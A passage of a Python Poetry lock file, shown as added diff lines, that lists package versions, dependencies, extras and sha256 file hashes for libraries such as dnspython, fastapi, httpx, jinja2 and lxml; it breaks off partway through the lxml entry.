+[[package]] +name = "dnspython" +version = "2.8.0" +description = "DNS toolkit" +optional = false +python-versions = ">=3.10" +groups = ["main", "dev"] +files = [ + {file = "dnspython-2.8.0-py3-none-any.whl", hash = "sha256:01d9bbc4a2d76bf0db7c1f729812ded6d912bd318d3b1cf81d30c0f845dbf3af"}, + {file = "dnspython-2.8.0.tar.gz", hash = "sha256:181d3c6996452cb1189c4046c61599b84a5a86e099562ffde77d26984ff26d0f"}, +] + +[package.extras] +dev = ["black (>=25.1.0)", "coverage (>=7.0)", "flake8 (>=7)", "hypercorn (>=0.17.0)", "mypy (>=1.17)", "pylint (>=3)", "pytest (>=8.4)", "pytest-cov (>=6.2.0)", "quart-trio (>=0.12.0)", "sphinx (>=8.2.0)", "sphinx-rtd-theme (>=3.0.0)", "twine (>=6.1.0)", "wheel (>=0.45.0)"] +dnssec = ["cryptography (>=45)"] +doh = ["h2 (>=4.2.0)", "httpcore (>=1.0.0)", "httpx (>=0.28.0)"] +doq = ["aioquic (>=1.2.0)"] +idna = ["idna (>=3.10)"] +trio = ["trio (>=0.30)"] +wmi = ["wmi (>=1.5.1) ; platform_system == \"Windows\""] + +[[package]] +name = "exceptiongroup" +version = "1.3.1" +description = "Backport of PEP 654 (exception groups)" +optional = false +python-versions = ">=3.7" +groups = ["main", "dev"] +markers = "python_version == \"3.10\"" +files = [ + {file = "exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598"}, + {file = "exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219"}, +] + +[package.dependencies] +typing-extensions = {version = ">=4.6.0", markers = "python_version < \"3.13\""} + +[package.extras] +test = ["pytest (>=6)"] + +[[package]] +name = "fastapi" +version = "0.136.0" +description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production" +optional = false +python-versions = ">=3.10" +groups = ["dev"] +files = [ + {file = "fastapi-0.136.0-py3-none-any.whl", hash = "sha256:8793d44ec7378e2be07f8a013cf7f7aa47d6327d0dfe9804862688ec4541a6b4"}, + {file = "fastapi-0.136.0.tar.gz", hash = "sha256:cf08e067cc66e106e102d9ba659463abfac245200752f8a5b7b1e813de4ff73e"}, +] + +[package.dependencies] +annotated-doc = ">=0.0.2" +pydantic = ">=2.9.0" +starlette = ">=0.46.0" +typing-extensions = ">=4.8.0" +typing-inspection = ">=0.4.2" + +[package.extras] +all = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.8)", "httpx (>=0.23.0,<1.0.0)", "itsdangerous (>=1.1.0)", "jinja2 (>=3.1.5)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "pyyaml (>=5.3.1)", "uvicorn[standard] (>=0.12.0)"] +standard = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.8)", "fastar (>=0.9.0)", "httpx (>=0.23.0,<1.0.0)", "jinja2 (>=3.1.5)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"] +standard-no-fastapi-cloud-cli = ["email-validator (>=2.0.0)", "fastapi-cli[standard-no-fastapi-cloud-cli] (>=0.0.8)", "httpx (>=0.23.0,<1.0.0)", "jinja2 (>=3.1.5)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"] + +[[package]] +name = "filelock" +version = "3.29.0" +description = "A platform independent file lock." +optional = false +python-versions = ">=3.10" +groups = ["main", "dev"] +files = [ + {file = "filelock-3.29.0-py3-none-any.whl", hash = "sha256:96f5f6344709aa1572bbf631c640e4ebeeb519e08da902c39a001882f30ac258"}, + {file = "filelock-3.29.0.tar.gz", hash = "sha256:69974355e960702e789734cb4871f884ea6fe50bd8404051a3530bc07809cf90"}, +] + +[[package]] +name = "ghp-import" +version = "2.1.0" +description = "Copy your docs directly to the gh-pages branch." +optional = false +python-versions = "*" +groups = ["docs"] +files = [ + {file = "ghp-import-2.1.0.tar.gz", hash = "sha256:9c535c4c61193c2df8871222567d7fd7e5014d835f97dc7b7439069e2413d343"}, + {file = "ghp_import-2.1.0-py3-none-any.whl", hash = "sha256:8337dd7b50877f163d4c0289bc1f1c7f127550241988d568c1db512c4324a619"}, +] + +[package.dependencies] +python-dateutil = ">=2.8.1" + +[package.extras] +dev = ["flake8", "markdown", "twine", "wheel"] + +[[package]] +name = "griffe" +version = "1.15.0" +description = "Signatures for entire Python programs. Extract the structure, the frame, the skeleton of your project, to generate API documentation or find breaking changes in your API." +optional = false +python-versions = ">=3.10" +groups = ["docs"] +files = [ + {file = "griffe-1.15.0-py3-none-any.whl", hash = "sha256:6f6762661949411031f5fcda9593f586e6ce8340f0ba88921a0f2ef7a81eb9a3"}, + {file = "griffe-1.15.0.tar.gz", hash = "sha256:7726e3afd6f298fbc3696e67958803e7ac843c1cfe59734b6251a40cdbfb5eea"}, +] + +[package.dependencies] +colorama = ">=0.4" + +[package.extras] +pypi = ["pip (>=24.0)", "platformdirs (>=4.2)", "wheel (>=0.42)"] + +[[package]] +name = "griffelib" +version = "2.0.2" +description = "Signatures for entire Python programs. Extract the structure, the frame, the skeleton of your project, to generate API documentation or find breaking changes in your API." +optional = false +python-versions = ">=3.10" +groups = ["docs"] +files = [ + {file = "griffelib-2.0.2-py3-none-any.whl", hash = "sha256:925c857658fb1ba40c0772c37acbc2ab650bd794d9c1b9726922e36ea4117ea1"}, + {file = "griffelib-2.0.2.tar.gz", hash = "sha256:3cf20b3bc470e83763ffbf236e0076b1211bac1bc67de13daf494640f2de707e"}, +] + +[package.extras] +pypi = ["pip (>=24.0)", "platformdirs (>=4.2)", "wheel (>=0.42)"] + +[[package]] +name = "h11" +version = "0.16.0" +description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1" +optional = false +python-versions = ">=3.8" +groups = ["main", "dev"] +files = [ + {file = "h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86"}, + {file = "h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1"}, +] + +[[package]] +name = "httpcore" +version = "1.0.9" +description = "A minimal low-level HTTP client." +optional = false +python-versions = ">=3.8" +groups = ["main", "dev"] +files = [ + {file = "httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55"}, + {file = "httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8"}, +] + +[package.dependencies] +certifi = "*" +h11 = ">=0.16" + +[package.extras] +asyncio = ["anyio (>=4.0,<5.0)"] +http2 = ["h2 (>=3,<5)"] +socks = ["socksio (==1.*)"] +trio = ["trio (>=0.22.0,<1.0)"] + +[[package]] +name = "httpx" +version = "0.28.1" +description = "The next generation HTTP client." +optional = false +python-versions = ">=3.8" +groups = ["main", "dev"] +files = [ + {file = "httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad"}, + {file = "httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc"}, +] + +[package.dependencies] +anyio = "*" +certifi = "*" +httpcore = "==1.*" +idna = "*" + +[package.extras] +brotli = ["brotli ; platform_python_implementation == \"CPython\"", "brotlicffi ; platform_python_implementation != \"CPython\""] +cli = ["click (==8.*)", "pygments (==2.*)", "rich (>=10,<14)"] +http2 = ["h2 (>=3,<5)"] +socks = ["socksio (==1.*)"] +zstd = ["zstandard (>=0.18.0)"] + +[[package]] +name = "identify" +version = "2.6.19" +description = "File identification library for Python" +optional = false +python-versions = ">=3.10" +groups = ["dev"] +files = [ + {file = "identify-2.6.19-py2.py3-none-any.whl", hash = "sha256:20e6a87f786f768c092a721ad107fc9df0eb89347be9396cadf3f4abbd1fb78a"}, + {file = "identify-2.6.19.tar.gz", hash = "sha256:6be5020c38fcb07da56c53733538a3081ea5aa70d36a156f83044bfbf9173842"}, +] + +[package.extras] +license = ["ukkonen"] + +[[package]] +name = "idna" +version = "3.13" +description = "Internationalized Domain Names in Applications (IDNA)" +optional = false +python-versions = ">=3.8" +groups = ["main", "dev", "docs"] +files = [ + {file = "idna-3.13-py3-none-any.whl", hash = "sha256:892ea0cde124a99ce773decba204c5552b69c3c67ffd5f232eb7696135bc8bb3"}, + {file = "idna-3.13.tar.gz", hash = "sha256:585ea8fe5d69b9181ec1afba340451fba6ba764af97026f92a91d4eef164a242"}, +] + +[package.extras] +all = ["mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] + +[[package]] +name = "iniconfig" +version = "2.3.0" +description = "brain-dead simple config-ini parsing" +optional = false +python-versions = ">=3.10" +groups = ["dev"] +files = [ + {file = "iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12"}, + {file = "iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730"}, +] + +[[package]] +name = "jinja2" +version = "3.1.6" +description = "A very fast and expressive template engine." +optional = false +python-versions = ">=3.7" +groups = ["main", "docs"] +files = [ + {file = "jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67"}, + {file = "jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d"}, +] + +[package.dependencies] +MarkupSafe = ">=2.0" + +[package.extras] +i18n = ["Babel (>=2.7)"] + +[[package]] +name = "libsass" +version = "0.23.0" +description = "Sass for Python: A straightforward binding of libsass for Python." +optional = false +python-versions = ">=3.8" +groups = ["docs"] +files = [ + {file = "libsass-0.23.0-cp38-abi3-macosx_11_0_x86_64.whl", hash = "sha256:34cae047cbbfc4ffa832a61cbb110f3c95f5471c6170c842d3fed161e40814dc"}, + {file = "libsass-0.23.0-cp38-abi3-macosx_14_0_arm64.whl", hash = "sha256:ea97d1b45cdc2fc3590cb9d7b60f1d8915d3ce17a98c1f2d4dd47ee0d9c68ce6"}, + {file = "libsass-0.23.0-cp38-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:4a218406d605f325d234e4678bd57126a66a88841cb95bee2caeafdc6f138306"}, + {file = "libsass-0.23.0-cp38-abi3-win32.whl", hash = "sha256:31e86d92a5c7a551df844b72d83fc2b5e50abc6fbbb31e296f7bebd6489ed1b4"}, + {file = "libsass-0.23.0-cp38-abi3-win_amd64.whl", hash = "sha256:a2ec85d819f353cbe807432d7275d653710d12b08ec7ef61c124a580a8352f3c"}, + {file = "libsass-0.23.0.tar.gz", hash = "sha256:6f209955ede26684e76912caf329f4ccb57e4a043fd77fe0e7348dd9574f1880"}, +] + +[[package]] +name = "livereload" +version = "2.7.1" +description = "Python LiveReload is an awesome tool for web developers" +optional = false +python-versions = ">=3.7" +groups = ["docs"] +files = [ + {file = "livereload-2.7.1-py3-none-any.whl", hash = "sha256:5201740078c1b9433f4b2ba22cd2729a39b9d0ec0a2cc6b4d3df257df5ad0564"}, + {file = "livereload-2.7.1.tar.gz", hash = "sha256:3d9bf7c05673df06e32bea23b494b8d36ca6d10f7d5c3c8a6989608c09c986a9"}, +] + +[package.dependencies] +tornado = "*" + +[[package]] +name = "lockfile" +version = "0.12.2" +description = "Platform-independent file locking module" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "lockfile-0.12.2-py2.py3-none-any.whl", hash = "sha256:6c3cb24f344923d30b2785d5ad75182c8ea7ac1b6171b08657258ec7429d50fa"}, + {file = "lockfile-0.12.2.tar.gz", hash = "sha256:6aed02de03cba24efabcd600b30540140634fc06cfa603822d508d5361e9f799"}, +] + +[[package]] +name = "lxml" +version = "6.1.0" +description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "lxml-6.1.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:41dcc4c7b10484257cbd6c37b83ddb26df2b0e5aff5ac00d095689015af868ec"}, + {file = "lxml-6.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a31286dbb5e74c8e9a5344465b77ab4c5bd511a253b355b5ca2fae7e579fafec"}, + {file = "lxml-6.1.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:1bc4cc83fb7f66ffb16f74d6dd0162e144333fc36ebcce32246f80c8735b2551"}, + {file = "lxml-6.1.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:20cf4d0651987c906a2f5cba4e3a8d6ba4bfdf973cfe2a96c0d6053888ea2ecd"}, + {file = "lxml-6.1.0-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ffb34ea45a82dd637c2c97ae1bbb920850c1e59bcae79ce1c15af531d83e7215"}, + {file = "lxml-6.1.0-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a1d9b99e5b2597e4f5aed2484fef835256fa1b68a19e4265c97628ef4bf8bcf4"}, + {file = "lxml-6.1.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:d43aa26dcda363f21e79afa0668f5029ed7394b3bb8c92a6927a3d34e8b610ea"}, + {file = "lxml-6.1.0-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:6262b87f9e5c1e5fe501d6c153247289af42eb44ad7660b9b3de17baaf92d6f6"}, + {file = "lxml-6.1.0-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d1392c569c032f78a11a25d1de1c43fff13294c793b39e19d84fade3045cbbc3"}, + {file = "lxml-6.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:045e387d1f4f42a418380930fa3f45c73c9b392faf67e495e58902e68e8f44a7"}, + {file = "lxml-6.1.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:9f93d5b8b07f73e8c77e3c6556a3db269918390c804b5e5fcdd4858232cc8f16"}, + {file = "lxml-6.1.0-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:de550d129f18d8ab819651ffe4f38b1b713c7e116707de3c0c6400d0ef34fbc1"}, + {file = "lxml-6.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:c08da09dc003c9e8c70e06b53a11db6fb3b250c21c4236b03c7d7b443c318e7a"}, + {file = "lxml-6.1.0-cp310-cp310-win32.whl", hash = "sha256:37448bf9c7d7adfc5254763901e2bbd6bb876228dfc1fc7f66e58c06368a7544"}, + {file = "lxml-6.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:2593a0a6621545b9095b71ad74ed4226eba438a7d9fc3712a99bdb15508cf93a"}, + {file = "lxml-6.1.0-cp310-cp310-win_arm64.whl", hash = "sha256:e80807d72f96b96ad5588cb85c75616e4f2795a7737d4630784c51497beb7776"}, + {file = "lxml-6.1.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:cec05be8c876f92a5aa07b01d60bbb4d11cfbdd654cad0561c0d7b5c043a61b9"}, + {file = "lxml-6.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9c03e048b6ce8e77b09c734e931584894ecd58d08296804ca2d0b184c933ce50"}, + {file = "lxml-6.1.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:942454ff253da14218f972b23dc72fa4edf6c943f37edd19cd697618b626fac5"}, + {file = "lxml-6.1.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d036ee7b99d5148072ac7c9b847193decdfeac633db350363f7bce4fff108f0e"}, + {file = "lxml-6.1.0-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3ae5d8d5427f3cc317e7950f2da7ad276df0cfa37b8de2f5658959e618ea8512"}, + {file = "lxml-6.1.0-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:363e47283bde87051b821826e71dde47f107e08614e1aa312ba0c5711e77738c"}, + {file = "lxml-6.1.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:f504d861d9f2a8f94020130adac88d66de93841707a23a86244263d1e54682f5"}, + {file = "lxml-6.1.0-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:23a5dc68e08ed13331d61815c08f260f46b4a60fdd1640bbeb82cf89a9d90289"}, + {file = "lxml-6.1.0-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f15401d8d3dbf239e23c818afc10c7207f7b95f9a307e092122b6f86dd43209a"}, + {file = "lxml-6.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:fcf3da95e93349e0647d48d4b36a12783105bcc74cb0c416952f9988410846a3"}, + {file = "lxml-6.1.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:0d082495c5fcf426e425a6e28daaba1fcb6d8f854a4ff01effb1f1f381203eb9"}, + {file = "lxml-6.1.0-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:e3c4f84b24a1fcba435157d111c4b755099c6ff00a3daee1ad281817de75ed11"}, + {file = "lxml-6.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:976a6b39b1b13e8c354ad8d3f261f3a4ac6609518af91bdb5094760a08f132c4"}, + {file = "lxml-6.1.0-cp311-cp311-win32.whl", hash = "sha256:857efde87d365706590847b916baff69c0bc9252dc5af030e378c9800c0b10e3"}, + {file = "lxml-6.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:183bfb45a493081943be7ea2b5adfc2b611e1cf377cefa8b8a8be404f45ef9a7"}, + {file = "lxml-6.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:19f4164243fc206d12ed3d866e80e74f5bc3627966520da1a5f97e42c32a3f39"}, + {file = "lxml-6.1.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:d2f17a16cd8751e8eb233a7e41aecdf8e511712e00088bf9be455f604cd0d28d"}, + {file = "lxml-6.1.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:f0cea5b1d3e6e77d71bd2b9972eb2446221a69dc52bb0b9c3c6f6e5700592d93"}, + {file = "lxml-6.1.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:fc46da94826188ed45cb53bd8e3fc076ae22675aea2087843d4735627f867c6d"}, + {file = "lxml-6.1.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9147d8e386ec3b82c3b15d88927f734f565b0aaadef7def562b853adca45784a"}, + {file = "lxml-6.1.0-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5715e0e28736a070f3f34a7ccc09e2fdcba0e3060abbcf61a1a5718ff6d6b105"}, + {file = "lxml-6.1.0-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4937460dc5df0cdd2f06a86c285c28afda06aefa3af949f9477d3e8df430c485"}, + {file = "lxml-6.1.0-cp312-cp312-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bc783ee3147e60a25aa0445ea82b3e8aabb83b240f2b95d32cb75587ff781814"}, + {file = "lxml-6.1.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:40d9189f80075f2e1f88db21ef815a2b17b28adf8e50aaf5c789bfe737027f32"}, + {file = "lxml-6.1.0-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:05b9b8787e35bec69e68daf4952b2e6dfcfb0db7ecf1a06f8cdfbbac4eb71aad"}, + {file = "lxml-6.1.0-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0f0f08beb0182e3e9a86fae124b3c47a7b41b7b69b225e1377db983802404e54"}, + {file = "lxml-6.1.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:73becf6d8c81d4c76b1014dbd3584cb26d904492dcf73ca85dc8bff08dcd6d2d"}, + {file = "lxml-6.1.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:1ae225f66e5938f4fa29d37e009a3bb3b13032ac57eb4eb42afa44f6e4054e69"}, + {file = "lxml-6.1.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:690022c7fae793b0489aa68a658822cea83e0d5933781811cabbf5ea3bcfe73d"}, + {file = "lxml-6.1.0-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:63aeafc26aac0be8aff14af7871249e87ea1319be92090bfd632ec68e03b16a5"}, + {file = "lxml-6.1.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:264c605ab9c0e4aa1a679636f4582c4d3313700009fac3ec9c3412ed0d8f3e1d"}, + {file = "lxml-6.1.0-cp312-cp312-win32.whl", hash = "sha256:56971379bc5ee8037c5a0f09fa88f66cdb7d37c3e38af3e45cf539f41131ac1f"}, + {file = "lxml-6.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:bba078de0031c219e5dd06cf3e6bf8fb8e6e64a77819b358f53bb132e3e03366"}, + {file = "lxml-6.1.0-cp312-cp312-win_arm64.whl", hash = "sha256:c3592631e652afa34999a088f98ba7dfc7d6aff0d535c410bea77a71743f3819"}, + {file = "lxml-6.1.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:a0092f2b107b69601adf562a57c956fbb596e05e3e6651cabd3054113b007e45"}, + {file = "lxml-6.1.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:fc7140d7a7386e6b545d41b7358f4d02b656d4053f5fa6859f92f4b9c2572c4d"}, + {file = "lxml-6.1.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:419c58fc92cc3a2c3fa5f78c63dbf5da70c1fa9c1b25f25727ecee89a96c7de2"}, + {file = "lxml-6.1.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:37fabd1452852636cf38ecdcc9dd5ca4bba7a35d6c53fa09725deeb894a87491"}, + {file = "lxml-6.1.0-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a2853c8b2170cc6cd54a6b4d50d2c1a8a7aeca201f23804b4898525c7a152cfc"}, + {file = "lxml-6.1.0-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8e369cbd690e788c8d15e56222d91a09c6a417f49cbc543040cba0fe2e25a79e"}, + {file = "lxml-6.1.0-cp313-cp313-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e69aa6805905807186eb00e66c6d97a935c928275182eb02ee40ba00da9623b2"}, + {file = "lxml-6.1.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:4bd1bdb8a9e0e2dd229de19b5f8aebac80e916921b4b2c6ef8a52bc131d0c1f9"}, + {file = "lxml-6.1.0-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:cbd7b79cdcb4986ad78a2662625882747f09db5e4cd7b2ae178a88c9c51b3dfe"}, + {file = "lxml-6.1.0-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:43e4d297f11080ec9d64a4b1ad7ac02b4484c9f0e2179d9c4ef78e886e747b88"}, + {file = "lxml-6.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cc16682cc987a3da00aa56a3aa3075b08edb10d9b1e476938cfdbee8f3b67181"}, + {file = "lxml-6.1.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:d6d8efe71429635f0559579092bb5e60560d7b9115ee38c4adbea35632e7fa24"}, + {file = "lxml-6.1.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7e39ab3a28af7784e206d8606ec0e4bcad0190f63a492bca95e94e5a4aef7f6e"}, + {file = "lxml-6.1.0-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:9eb667bf50856c4a58145f8ca2d5e5be160191e79eb9e30855a476191b3c3495"}, + {file = "lxml-6.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:7f4a77d6f7edf9230cee3e1f7f6764722a41604ee5681844f18db9a81ea0ec33"}, + {file = "lxml-6.1.0-cp313-cp313-win32.whl", hash = "sha256:28902146ffbe5222df411c5d19e5352490122e14447e98cd118907ee3fd6ee62"}, + {file = "lxml-6.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:4a1503c56e4e2b38dc76f2f2da7bae69670c0f1933e27cfa34b2fa5876410b16"}, + {file = "lxml-6.1.0-cp313-cp313-win_arm64.whl", hash = "sha256:e0af85773850417d994d019741239b901b22c6680206f46a34766926e466141d"}, + {file = "lxml-6.1.0-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:ab863fd37458fed6456525f297d21239d987800c46e67da5ef04fc6b3dd93ac8"}, + {file = "lxml-6.1.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:6fd8b1df8254ff4fd93fd31da1fc15770bde23ac045be9bb1f87425702f61cc9"}, + {file = "lxml-6.1.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:47024feaae386a92a146af0d2aeed65229bf6fff738e6a11dda6b0015fb8fd03"}, + {file = "lxml-6.1.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3f00972f84450204cd5d93a5395965e348956aaceaadec693a22ec743f8ae3eb"}, + {file = "lxml-6.1.0-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:97faa0860e13b05b15a51fb4986421ef7a30f0b3334061c416e0981e9450ca4c"}, + {file = "lxml-6.1.0-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:972a6451204798675407beaad97b868d0c733d9a74dafefc63120b81b8c2de28"}, + {file = "lxml-6.1.0-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fe022f20bc4569ec66b63b3fb275a3d628d9d32da6326b2982584104db6d3086"}, + {file = "lxml-6.1.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:75c4c7c619a744f972f4451bf5adf6d0fb00992a1ffc9fd78e13b0bc817cc99f"}, + {file = "lxml-6.1.0-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:3648f20d25102a22b6061c688beb3a805099ea4beb0a01ce62975d926944d292"}, + {file = "lxml-6.1.0-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:77b9f99b17cbf14026d1e618035077060fc7195dd940d025149f3e2e830fbfcb"}, + {file = "lxml-6.1.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:32662519149fd7a9db354175aa5e417d83485a8039b8aaa62f873ceee7ea4cad"}, + {file = "lxml-6.1.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:73d658216fc173cf2c939e90e07b941c5e12736b0bf6a99e7af95459cfe8eabb"}, + {file = "lxml-6.1.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:ac4db068889f8772a4a698c5980ec302771bb545e10c4b095d4c8be26749616f"}, + {file = "lxml-6.1.0-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:45e9dfbd1b661eb64ba0d4dbe762bd210c42d86dd1e5bd2bdf89d634231beb43"}, + {file = "lxml-6.1.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:89e8d73d09ac696a5ba42ec69787913d53284f12092f651506779314f10ba585"}, + {file = "lxml-6.1.0-cp314-cp314-win32.whl", hash = "sha256:ebe33f4ec1b2de38ceb225a1749a2965855bffeef435ba93cd2d5d540783bf2f"}, + {file = "lxml-6.1.0-cp314-cp314-win_amd64.whl", hash = "sha256:398443df51c538bd578529aa7e5f7afc6c292644174b47961f3bf87fe5741120"}, + {file = "lxml-6.1.0-cp314-cp314-win_arm64.whl", hash = "sha256:8c8984e1d8c4b3949e419158fda14d921ff703a9ed8a47236c6eb7a2b6cb4946"}, + {file = "lxml-6.1.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:1081dd10bc6fa437db2500e13993abf7cc30716d0a2f40e65abb935f02ec559c"}, + {file = "lxml-6.1.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:dabecc48db5f42ba348d1f5d5afdc54c6c4cc758e676926c7cd327045749517d"}, + {file = "lxml-6.1.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:e3dd5fe19c9e0ac818a9c7f132a5e43c1339ec1cbbfecb1a938bd3a47875b7c9"}, + {file = "lxml-6.1.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9e7b0a4ca6dcc007a4cef00a761bba2dea959de4bd2df98f926b33c92ca5dfb9"}, + {file = "lxml-6.1.0-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5d27bbe326c6b539c64b42638b18bc6003a8d88f76213a97ac9ed4f885efeab7"}, + {file = 